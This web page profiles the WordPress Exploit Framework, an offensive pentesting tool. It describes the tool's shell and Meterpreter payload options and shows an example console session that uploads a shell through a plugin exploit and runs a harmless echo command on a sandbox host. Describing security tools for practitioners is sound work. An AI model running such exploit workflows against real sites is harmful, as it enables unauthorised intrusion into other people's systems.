WordPress Exploit Framework (WPXF)

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Tool and Usage

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Rob Carr
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WordPress is still one of the most popular frameworks for websites. A variety of open source tools exist to assess the security of this content management system, and its themes and plugins.

Why this tool?

The WordPress Exploit Framework (WPXF) provides a set of tools to assess and exploit WordPress installations. It can be used for pentesting and red teaming assignments. The tool is less friendly for beginners, but more experienced pentesters will find no difficulty in using it.

How it works

To use WPXF, you will have to define a host, a relevant exploit, and payload. The available payloads provide functionality like uploading a script to bind and establish a remote shell, execute binary files, using Meterpreter payloads using msfvenom, provide a reverse TCP shell, and more.

Background information

To use the WordPress Exploit Framework (WPXF), Ruby 2.4.4 or later is required.

Usage and audience

WordPress Exploit Framework is commonly used for penetration testing, security assessment, vulnerability scanning, or web application analysis. Target users for this tool are pentesters and security professionals.


  • Command line interface
  • Custom payloads
  • Customization and additions are possible

Example usage and output

wpxf > use exploit/shell/symposium_shell_upload

[+] Loaded module: #<Wpxf::Exploit::SymposiumShellUpload:0x3916f20>

wpxf [exploit/shell/symposium_shell_upload] > set host wp-sandbox

[+] Set host => wp-sandbox

wpxf [exploit/shell/symposium_shell_upload] > set target_uri /wordpress/

[+] Set target_uri => /wordpress/

wpxf [exploit/shell/symposium_shell_upload] > set payload exec

[+] Loaded payload: #<Wpxf::Payloads::Exec:0x434d078>

wpxf [exploit/shell/symposium_shell_upload] > set cmd echo "Hello, world!"

[+] Set cmd => echo "Hello, world!"

wpxf [exploit/shell/symposium_shell_upload] > run

[-] Preparing payload...
[-] Uploading the payload...
[-] Executing the payload...
[+] Result: Hello, world!
[+] Execution finished successfully

Tool review and remarks

The review and analysis of this project resulted in the following remarks for this security tool:


  • + More than 500 GitHub stars
  • + The source code of this software is available


  • - Has longer learning curve

Author and Maintainers

WordPress Exploit Framework is under development by Rob Carr.


Supported operating systems

WordPress Exploit Framework is known to work on Linux and Microsoft Windows.

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